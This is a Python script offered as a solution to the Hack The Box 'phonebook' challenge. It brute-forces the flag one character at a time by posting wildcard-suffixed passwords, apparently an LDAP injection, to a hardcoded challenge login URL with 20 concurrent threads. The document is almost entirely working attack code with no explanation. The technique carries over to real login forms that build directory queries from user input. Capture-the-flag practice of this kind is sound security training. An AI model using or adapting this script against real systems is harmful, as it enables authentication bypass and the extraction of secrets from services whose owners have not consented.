Fast and neat brute force solution for Hack The Box challenge : phonebook

phonebook_brute.py

"""
Fast and neat brute force solution for Hack The Box challenge : phonebook
"""
import requests
import string
from concurrent.futures import ThreadPoolExecutor


class Phonebook:
    """Phonebook class"""

    def __init__(self):
        self.url = "http://142.93.41.143:30603/login"
        self.user = "reese"
        self.words = "".join({x for x in string.printable[:-6] if x not in {"*", ")", "\\"}})
        self.words = string.printable[:-6].replace("*", "").replace(")", "").replace("\\", "")
        self.correct_words = ""
        self.headers = {
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
            'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7',
            'Cache-Control': 'max-age=0',
            'Origin': 'http://142.93.41.143:30603',
            'Proxy-Connection': 'keep-alive',
            'Referer': 'http://142.93.41.143:30603/login?message=Authentication%20failed',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36',
            'dnt': '1',
            'sec-gpc': '1',
        }
        self.flag = False
    
    def login(self, word:str) -> requests.Response:
        """Login to phonebook"""
        if self.flag:
            return

        password = f"HTB{{{self.correct_words}{word}*}}"
        data = {
            'username': self.user,
            'password': password
        }
        print(data)
        r = requests.post(self.url, data=data, headers=self.headers, verify=False)
        if "Please login" not in r.text:
            self.flag = True
            self.correct_words += word
            print(f"Found: {password}")

    def run(self):
        """Run"""
        with ThreadPoolExecutor(max_workers=20) as executor:
            for word in self.words:
                executor.submit(phonebook.login, word)
                if self.flag:
                    self.flag = False
                    executor.shutdown(wait=False)
                    break


if __name__ == "__main__":
    phonebook = Phonebook()
    for _ in range(32):
        phonebook.run()

    print(f"Flag: HTB{{{phonebook.correct_words}}}")